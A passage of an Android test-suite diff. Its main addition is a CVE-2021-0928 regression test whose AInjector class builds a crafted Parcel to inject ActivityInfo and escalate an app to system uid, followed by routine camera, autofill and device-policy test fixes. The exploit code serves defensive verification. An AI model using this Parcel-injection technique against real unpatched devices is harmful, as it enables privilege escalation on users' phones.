--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
@@ -0,0 +1,296 @@
+package android.security.cts.CVE_2021_0928;
+
+import android.annotation.SuppressLint;
+import android.content.ClipData;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageItemInfo;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.text.TextUtils;
+import android.util.SparseArray;
+
+import com.android.server.pm.PackageManagerException;
+
+import java.io.Serializable;
+
+@SuppressLint({"ParcelCreator", "ParcelClassLoader"})
+public class AInjector implements Serializable, Parcelable {
+
+    private static final String TAG = "TAG_2021_0928.AInjector";
+    private static final int VAL_BUNDLE = 3;
+    private static final int VAL_PARCELABLE = 4;
+    private static final int VAL_SERIALIZABLE = 21;
+    private static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
+
+    private boolean mDetectRewind;
+    private int mRewind;
+
+    static ActivityInfo sInjectedInfo;
+
+    public static ClipData createClipData() {
+        Parcel parcel = Parcel.obtain();
+
+        AInjector injector = new AInjector();
+        injector.mRewind = doDetectRewind();
+
+        parcel.writeString("android.content.ClipData");
+        beginClipData(parcel);
+        // splitDependencies SparseArray
+        parcel.writeInt(1); // Number of key-value pairs
+        parcel.writeInt(0); // Key
+        parcel.writeInt(VAL_SERIALIZABLE); // Value type
+        parcel.writeSerializable(injector);
+        finishClipData(parcel);
+
+        int a = parcel.dataPosition();
+        parcel.writeInt(0);
+        parcel.setDataPosition(0);
+        ClipData clipData = parcel.readParcelable(null);
+        int b = parcel.dataPosition();
+        parcel.recycle();
+        return clipData;
+    }
+
+    /**
+     * Write to {@link Parcel} data for {@link ClipData} up to (excluding) {@link
+     * android.content.pm.ApplicationInfo}{@code .splitDependencies} which is written through {@link
+     * Parcel#writeSparseArray(SparseArray)} which uses {@link Parcel#writeValue(Object)}.
+     */
+    private static void beginClipData(Parcel dest) {
+        // Begin ClipData
+        // Begin mClipDescription
+        TextUtils.writeToParcel(null, dest, 0); // mLabel
+        dest.writeStringArray(new String[0]); // mMimeTypes
+        dest.writePersistableBundle(null); // mExtras
+        dest.writeLong(0); // mTimeStamp
+        dest.writeBoolean(false); // mIsStyledText
+        dest.writeInt(0); // mClassificationStatus
+        dest.writeBundle(new Bundle()); // mEntityConfidence
+        // End mClipDescription
+        dest.writeInt(0); // mIcon == null
+        dest.writeInt(1); // mItems.size()
+        // Begin mItems.get(0)
+        TextUtils.writeToParcel(null, dest, 0); // mText
+        dest.writeString(null); // mHtmlText
+        dest.writeInt(0); // mIntent == null
+        dest.writeInt(0); // mUri == null
+        dest.writeInt(1); // mActivityInfo != null
+        // Begin mActivityInfo
+        // Begin ComponentInfo
+        new PackageItemInfo().writeToParcel(dest, 0);
+        // Begin ApplicationInfo
+        dest.writeInt(0); // readSquashed offset==0 (not squashed)
+        new PackageItemInfo().writeToParcel(dest, 0);
+        dest.writeString(null); // taskAffinity
+        dest.writeString(null); // permission
+        dest.writeString(null); // processName
+        dest.writeString(null); // className
+        dest.writeInt(0); // theme
+        dest.writeInt(0); // flags
+        dest.writeInt(0); // privateFlags
+        dest.writeInt(0); // requiresSmallestWidthDp
+        dest.writeInt(0); // compatibleWidthLimitDp
+        dest.writeInt(0); // largestWidthLimitDp
+        dest.writeInt(0); // storageUuid == null
+        dest.writeString(null); // scanSourceDir
+        dest.writeString(null); // scanPublicSourceDir
+        dest.writeString(null); // sourceDir
+        dest.writeString(null); // publicSourceDir
+        dest.writeStringArray(null); // splitNames
+        dest.writeStringArray(null); // splitSourceDirs
+        dest.writeStringArray(null); // splitPublicSourceDirs
+    }
+
+    /**
+     * Continue writing {@link ClipData} started through {@link #beginClipData(Parcel)}, after
+     * writing {@link SparseArray} (which must be written by caller and isn't written by neither
+     * {@link #beginClipData(Parcel)} nor this method.
+     */
+    private static void finishClipData(Parcel parcel) {
+        parcel.writeString(null); // nativeLibraryDir
+        parcel.writeString(null); // secondaryNativeLibraryDir
+        parcel.writeString(null); // nativeLibraryRootDir
+        parcel.writeInt(0); // nativeLibraryRootRequiresIsa
+        parcel.writeString(null); // primaryCpuAbi
+        parcel.writeString(null); // secondaryCpuAbi
+        parcel.writeStringArray(null); // resourceDirs
+        parcel.writeStringArray(null); // overlayPaths
+        parcel.writeString(null); // seInfo
+        parcel.writeString(null); // seInfoUser
+        parcel.writeStringArray(null); // sharedLibraryFiles
+        parcel.writeTypedList(null); // sharedLibraryInfos
+        parcel.writeString(null); // dataDir
+        parcel.writeString(null); // deviceProtectedDataDir
+        parcel.writeString(null); // credentialProtectedDataDir
+        parcel.writeInt(0); // uid
+        parcel.writeInt(0); // minSdkVersion
+        parcel.writeInt(0); // targetSdkVersion
+        parcel.writeLong(0); // longVersionCode
+        parcel.writeInt(0); // enabled
+        parcel.writeInt(0); // enabledSetting
+        parcel.writeInt(0); // installLocation
+        parcel.writeString(null); // manageSpaceActivityName
+        parcel.writeString(null); // backupAgentName
+        parcel.writeInt(0); // descriptionRes
+        parcel.writeInt(0); // uiOptions
+        parcel.writeInt(0); // fullBackupContent
+        parcel.writeInt(0); // dataExtractionRulesRes
+        parcel.writeBoolean(false); // crossProfile
+        parcel.writeInt(0); // networkSecurityConfigRes
+        parcel.writeInt(0); // category
+        parcel.writeInt(0); // targetSandboxVersion
+        parcel.writeString(null); // classLoaderName
+        parcel.writeStringArray(null); // splitClassLoaderNames
+        parcel.writeInt(0); // compileSdkVersion
+        parcel.writeString(null); // compileSdkVersionCodename
+        parcel.writeString(null); // appComponentFactory
+        parcel.writeInt(0); // iconRes
+        parcel.writeInt(0); // roundIconRes
+        parcel.writeInt(0); // mHiddenApiPolicy
+        parcel.writeInt(0); // hiddenUntilInstalled
+        parcel.writeString(null); // zygotePreloadName
+        parcel.writeInt(0); // gwpAsanMode
+        parcel.writeInt(0); // memtagMode
+        parcel.writeInt(0); // nativeHeapZeroInit
+        parcel.writeInt(0); // requestOptimizedExternalStorageAccess
+        // End ApplicationInfo
+        parcel.writeString(null); // processName
+        parcel.writeString(null); // splitName
+        parcel.writeInt(0); // descriptionRes
+        parcel.writeInt(0); // enabled
+        parcel.writeInt(0); // exported
+        parcel.writeInt(0); // directBootAware
+        // End ComponentInfo
+        parcel.writeInt(0); // theme
+        parcel.writeInt(0); // launchMode
+        parcel.writeInt(0); // documentLaunchMode
+        parcel.writeString(null); // permission
+        parcel.writeString(null); // taskAffinity
+        parcel.writeString(null); // targetActivity
+        parcel.writeString(null); // launchToken
+        parcel.writeInt(0); // flags
+        parcel.writeInt(0); // privateFlags
+        parcel.writeInt(0); // screenOrientation
+        parcel.writeInt(0); // configChanges
+        parcel.writeInt(0); // softInputMode
+        parcel.writeInt(0); // uiOptions
+        parcel.writeString(null); // parentActivityName
+        parcel.writeInt(0); // persistableMode
+        parcel.writeInt(0); // maxRecents
+        parcel.writeInt(0); // lockTaskLaunchMode
+        parcel.writeInt(0); // windowLayout == null
+        parcel.writeInt(0); // resizeMode
+        parcel.writeString(null); // requestedVrComponent
+        parcel.writeInt(0); // rotationAnimation
+        parcel.writeInt(0); // colorMode
+        parcel.writeFloat(0); // mMaxAspectRatio
+        parcel.writeFloat(0); // mMinAspectRatio
+        parcel.writeBoolean(false); // supportsSizeChanges
+        parcel.writeStringArray(null); // attributionTags
+        // End mActivityInfo
+        parcel.writeInt(0); // mTextLinks == null
+        // End mItems.get(0)
+        // End ClipData
+    }
+
+    /**
+     * Detect number of bytes we need to go back with {@link Parcel#setDataPosition(int)} in order
+     * to overwrite class name written previously by {@link Parcel#writeParcelable(Parcelable, int)}
+     */
+    private static int doDetectRewind() {
+        AInjector injector = new AInjector();
+        injector.mDetectRewind = true;
+        Parcel parcel = Parcel.obtain();
+        parcel.writeParcelable(injector, 0);
+        parcel.recycle();
+        return injector.mRewind;
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+        if (mDetectRewind) {
+            mRewind = dest.dataPosition();
+            return;
+        }
+        dest.setDataPosition(dest.dataPosition() - mRewind);
+        dest.writeString("android.service.notification.ZenPolicy");
+        // Begin ZenPolicy
+        dest.writeInt(0); // mPriorityCategories.size()
+        dest.writeInt(1); // mVisualEffects.size()
+        dest.writeInt(VAL_PARCELABLE);
+        dest.writeString("android.hardware.camera2.params.OutputConfiguration");
+        // Begin OutputConfiguration
+        dest.writeInt(0); // mRotation
+        dest.writeInt(0); // mSurfaceGroupId
+        dest.writeInt(0); // mSurfaceType
+        dest.writeInt(0); // mConfiguredSize.mWidth
+        dest.writeInt(0); // mConfiguredSize.mHeight
+        dest.writeInt(0); // mIsDeferredConfig
+        dest.writeInt(0); // mIsShared
+        dest.writeInt(0); // mSurfaces.size()
+        dest.writeString(null); // mPhysicalCameraId
+        dest.writeInt(0); // mIsMultiResolution
+        dest.writeInt(2); // mSensorPixelModesUsed.size()
+        // Begin mSensorPixelModesUsed.get(0)
+        dest.writeInt(VAL_PARCELABLE);
+        dest.writeString("android.window.WindowContainerTransaction");
+        dest.writeInt(0); // mChanges.size()
+        dest.writeInt(1); // mHierarchyOps.size()
+        dest.writeInt(VAL_SERIALIZABLE);
+        dest.writeSerializable(new PackageManagerException());
+        // End mSensorPixelModesUsed.get(0)
+        // Begin mSensorPixelModesUsed.get(1)
+        dest.writeInt(VAL_BUNDLE);
+        int bundleLengthPos = dest.dataPosition();
+        dest.writeInt(0); // Will hold length
+        dest.writeInt(BUNDLE_MAGIC);
+        int bundleStartPos = dest.dataPosition();
+        writeFinalPayload(dest);
+        int bundleEndPos = dest.dataPosition();
+        // Begin Patch bundle size
+        dest.setDataPosition(bundleLengthPos);
+        dest.writeInt(bundleEndPos - bundleStartPos);
+        dest.setDataPosition(bundleEndPos);
+        // End Patch bundle size
+        // End mSensorPixelModesUsed.get(1)
+        // End OutputConfiguration
+        dest.writeInt(0); // mPriorityCalls
+        dest.writeInt(0); // mPriorityMessages
+        dest.writeInt(0); // mConversationSenders
+        // End ZenPolicy
+    }
+
+    private void writeFinalPayload(Parcel dest) {
+        // Finish ClipData
+        finishClipData(dest);
+        // Finish Intent
+        dest.writeInt(0); // mContentUserHint
+        dest.writeBundle(null); // mExtras
+
+        // in ActivityInfo info
+        dest.writeInt(1); // != null
+        sInjectedInfo.writeToParcel(dest, 0);
+
+        // in CompatibilityInfo compatInfo
+        dest.writeInt(0); // == null
+
+        // int resultCode
+        dest.writeInt(0); // == null
+        // in String data
+        dest.writeString(null);
+        // in Bundle extras
+        dest.writeInt(0); // == null
+        // boolean sync
+        dest.writeInt(0); // false
+        // int sendingUser
+        dest.writeInt(0);
+        // int processState
+        dest.writeInt(0);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
new file mode 100644
index 0000000..f129d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/DeviceTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0928;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final String TAG = "TAG_2021_0928.DeviceTest";
+    private UiDevice mDevice;
+
+    @Test
+    public void test() {
+        Log.d(TAG, "test() start");
+
+        // set mDevice and go to homescreen
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        mDevice.pressHome();
+        Context context = getApplicationContext();
+        String TEST_PACKAGE = "android.security.cts.CVE_2021_0928";
+        PackageManager packageManager = context.getPackageManager();
+
+        // start poc app
+        Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+        Log.d(TAG, "test(): Activity started");
+
+        // wait 30 seconds for poc app to complete
+        SystemClock.sleep(30000);
+        Log.d(TAG, "test() end");
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
new file mode 100644
index 0000000..41397d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/MainActivity.java
@@ -0,0 +1,85 @@
+package android.security.cts.CVE_2021_0928;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Process;
+import android.util.Log;
+import org.junit.Assert;
+
+import static org.junit.Assert.assertNotEquals;
+
+public class MainActivity extends Activity {
+
+    private static final String TAG = "TAG_2021_0928.MainActivity";
+
+    BroadcastReceiver broadcastReceiver =
+            new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    Log.d(TAG, "onReceive()");
+                    int uid = intent.getIntExtra("uid", 0);
+                    Log.d(TAG, "onReceive() received uid=" + uid);
+                    assertNotEquals("UID should not be escalated. Device is vulnerable", uid, 1000);
+                }
+            };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(
+                TAG,
+                "onCreate() start. Process.myUid()="
+                        + Process.myUid()
+                        + " Process.myPid()="
+                        + Process.myPid());
+
+        // receiver to get signal from Privilege escalation
+        registerReceiver(broadcastReceiver, new IntentFilter("TAG_2021_0928"));
+
+        setContentView(R.layout.activity_main);
+        ComponentName component =
+                new ComponentName(
+                        "com.android.settings", "com.android.settings.SettingsInitialize");
+
+        try {
+            ActivityInfo info = getPackageManager().getReceiverInfo(component, 0);
+            info.applicationInfo.packageName = getPackageName();
+            info.applicationInfo.sourceDir = getApplicationInfo().sourceDir;
+            info.applicationInfo.appComponentFactory = null;
+            AInjector.sInjectedInfo = info;
+        } catch (PackageManager.NameNotFoundException e) {
+            Log.d(TAG, e.toString());
+            assumeNoException(e);
+        }
+
+        Intent intent = new Intent();
+        intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        intent.setComponent(component);
+        intent.setClipData(AInjector.createClipData());
+
+        // on vulnerable device sendBroadcast(intent) does not execute
+        // com.android.settings.SettingsInitialize.onReceive()
+        sendBroadcast(intent);
+        Log.d(TAG, "onCreate() end()");
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        Log.d(
+                TAG,
+                "onStop() start. Process.myUid()="
+                        + Process.myUid()
+                        + " Process.myPid()="
+                        + Process.myPid());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
new file mode 100644
index 0000000..a56b82e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/server/pm/PackageManagerException.java
@@ -0,0 +1,5 @@
+package com.android.server.pm;
+
+public class PackageManagerException extends Exception {
+    static final long serialVersionUID = -2840575793016687751L;
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
new file mode 100644
index 0000000..ce5348b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/com/android/settings/SettingsInitialize.java
@@ -0,0 +1,39 @@
+package com.android.settings;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+
+public class SettingsInitialize extends BroadcastReceiver {
+
+    private static final String TAG = "TAG_2021_0928.BroadcastReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+
+        Log.d(
+                TAG,
+                "onReceive() start. Process.myUid()="
+                        + Process.myUid()
+                        + " Process.myPid()="
+                        + Process.myPid());
+        Log.v("Shellcode", "Hello from uid=" + Process.myUid());
+
+        // Send notification to test app
+        Intent i = new Intent("TAG_2021_0928");
+        i.putExtra("uid", Process.myUid());
+        context.sendBroadcast(i);
+        Log.d(TAG, "onReceive() end");
+    }
+}
diff --git a/hostsidetests/silentupdate/AndroidTest.xml b/hostsidetests/silentupdate/AndroidTest.xml
index 14d770c..caad158 100644
--- a/hostsidetests/silentupdate/AndroidTest.xml
+++ b/hostsidetests/silentupdate/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSilentUpdateTestCases.apk" />
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index 1e02c04..8c63f10 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps can't have INSTALL_PACKAGES permission. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- Module reboots the device making it inelligible for running in secondary users. -->
     <!-- TODO: Revisit secondary user eligibility once b/137885984 is resolved. -->
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
index 5498737..1d54c1f 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideMultipleProfileTest.java
@@ -105,7 +105,11 @@
             // before tests are executed.
             // See b/178367954.
             File file = getTestInformation().getDependencyFile(DEVICE_TEST_APK, true);
-            String output = mDevice.installPackageForUser(file, true, false, userId);
+
+            // --dont-kill is to avoid the test app being killed if ActivityManager is slow to
+            // respond to the install event.
+            // See b/202824003.
+            String output = mDevice.installPackageForUser(file, true, false, userId, "--dont-kill");
             if (output != null) {
                 stopAndRemoveUser(userId);
                 Assert.fail("Failed to install test apk " + output);
diff --git a/tests/.gitignore b/tests/.gitignore
deleted file mode 120000
index 493d8f0..0000000
--- a/tests/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file
diff --git a/tests/attentionservice/AndroidTest.xml b/tests/attentionservice/AndroidTest.xml
index 06fd362..356441c 100644
--- a/tests/attentionservice/AndroidTest.xml
+++ b/tests/attentionservice/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAttentionServiceDeviceTestCases.apk" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
index 53bd825..cceec68 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
@@ -16,6 +16,7 @@
 package android.autofillservice.cts.activities;
 
 import android.autofillservice.cts.testcore.Timeouts;
+import android.content.res.Configuration;
 
 import com.android.compatibility.common.util.RetryableException;
 
@@ -48,6 +49,17 @@
         }
     }
 
+    @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        if (sLastInstanceLatch != null) {
+            // mWindowingMode is split-screen-primary
+            if (isInMultiWindowMode) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
     public static void expectNewInstance(boolean waitWindowFocus) {
         sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
index 72b0e8f..66ab8aa 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
@@ -286,6 +286,7 @@
         // Fill in some stuff
         mActivity.mUsername.setText("foo");
         sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+        SystemClock.sleep(300);
         focusToPasswordExpectNoWindowEvent();
         sReplier.getNextFillRequest();
         mActivity.mPassword.setText("bar");
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 189f35a..a852729 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -837,9 +837,9 @@
         int[] output = new int[w * h];
 
         // TODO: Optimize this with renderscript intrinsics
-        byte[] yRow = new byte[yPixStride * w];
-        byte[] cbRow = new byte[cbPixStride * w / 2];
-        byte[] crRow = new byte[crPixStride * w / 2];
+        byte[] yRow = new byte[yPixStride * (w - 1) + 1];
+        byte[] cbRow = new byte[cbPixStride * (w / 2 - 1) + 1];
+        byte[] crRow = new byte[crPixStride * (w / 2 - 1) + 1];
         yBuf.mark();
         cbBuf.mark();
         crBuf.mark();
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 6428896..6123592 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -185,7 +185,7 @@
         for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
 
-            ImageVerifierListener yuvListener;
+            ImageVerifierListener yuvListener = null;
             ImageReader yuvReader = null;
 
             try {
@@ -210,6 +210,9 @@
                 prior = e;
             } finally {
                 try {
+                    if (yuvListener != null) {
+                        yuvListener.onReaderDestroyed();
+                    }
                     if (yuvReader != null) {
                         yuvReader.close();
                     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b125d25..492cc68 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -243,19 +243,24 @@
                 if (mStaticInfo.isLogicalMultiCamera()) {
                     Set<String> physicalCameraIds =
                             mStaticInfo.getCharacteristics().getPhysicalCameraIds();
+                    boolean skipTest = false;
                     for (String physicalId : physicalCameraIds) {
                         if (Arrays.asList(mCameraIdsUnderTest).contains(physicalId)) {
                             // If physicalId is advertised in camera ID list, do not need to test
                             // its stream combination through logical camera.
-                            continue;
+                            skipTest = true;
                         }
                         for (Pair<String, String> unavailPhysicalCam : unavailablePhysicalCameras) {
                             if (unavailPhysicalCam.first.equals(id) ||
                                     unavailPhysicalCam.second.equals(physicalId)) {
                                 // This particular physical camera isn't available. Skip.
-                                continue;
+                                skipTest = true;
+                                break;
                             }
                         }
+                        if (skipTest) {
+                            continue;
+                        }
                         StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
 
                         MandatoryStreamCombination[] phyCombinations =
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 8c5cb93..8f5a7b7 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -496,14 +496,22 @@
     public static class ImageVerifierListener implements ImageReader.OnImageAvailableListener {
         private Size mSize;
         private int mFormat;
+        // Whether the parent ImageReader is valid or not. If the parent ImageReader
+        // is destroyed, the acquired Image may become invalid.
+        private boolean mReaderIsValid;
 
         public ImageVerifierListener(Size sz, int format) {
             mSize = sz;
             mFormat = format;
+            mReaderIsValid = true;
+        }
+
+        public synchronized void onReaderDestroyed() {
+            mReaderIsValid = false;
         }
 
         @Override
-        public void onImageAvailable(ImageReader reader) {
+        public synchronized void onImageAvailable(ImageReader reader) {
             Image image = null;
             try {
                 image = reader.acquireNextImage();
@@ -513,7 +521,11 @@
                     // could be closed asynchronously, which will close all images acquired from
                     // this ImageReader.
                     checkImage(image, mSize.getWidth(), mSize.getHeight(), mFormat);
-                    checkAndroidImageFormat(image);
+                    // checkAndroidImageFormat calls into underlying Image object, which could
+                    // become invalid if the ImageReader is destroyed.
+                    if (mReaderIsValid) {
+                        checkAndroidImageFormat(image);
+                    }
                     image.close();
                 }
             }
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
index 09c9a78..ff1cf64 100644
--- a/tests/devicepolicy/AndroidTest.xml
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -35,5 +35,7 @@
         <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
         <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
         <option name="hidden-api-checks" value="false" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index e2092e8..66b3916 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,9 +16,13 @@
 
 package android.devicepolicy.cts;
 
-import static org.junit.Assert.assertThrows;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
+import static com.android.queryable.queries.ServiceQuery.service;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertThrows;
+
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.accounts.AuthenticatorException;
@@ -62,9 +66,12 @@
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
     private static final TestApp sAccountManagementApp = sTestAppProvider
             .query()
-            .wherePackageName()
-            // TODO(b/198423919): Support Querying services in TestApp
-            .isEqualTo("com.android.bedstead.testapp.AccountManagementApp")
+            // TODO(b/198590265) Filter for the correct account type.
+            .whereServices().contains(
+                    service().intentFilters().contains(
+                            intentFilter().actions().contains(
+                                    "android.accounts.AccountAuthenticator"))
+                    )
             .get();
     private static final String EXISTING_ACCOUNT_TYPE =
             "com.android.bedstead.testapp.AccountManagementApp.account.type";
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
index 8586d26..b7038b5 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
@@ -26,6 +26,8 @@
 import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
 import static com.android.bedstead.harrier.DeviceState.UserType.WORK_PROFILE;
 import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+import static com.android.queryable.queries.ActivityQuery.activity;
+import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -64,10 +66,12 @@
     private static final Context sContext = TestApis.context().instrumentedContext();
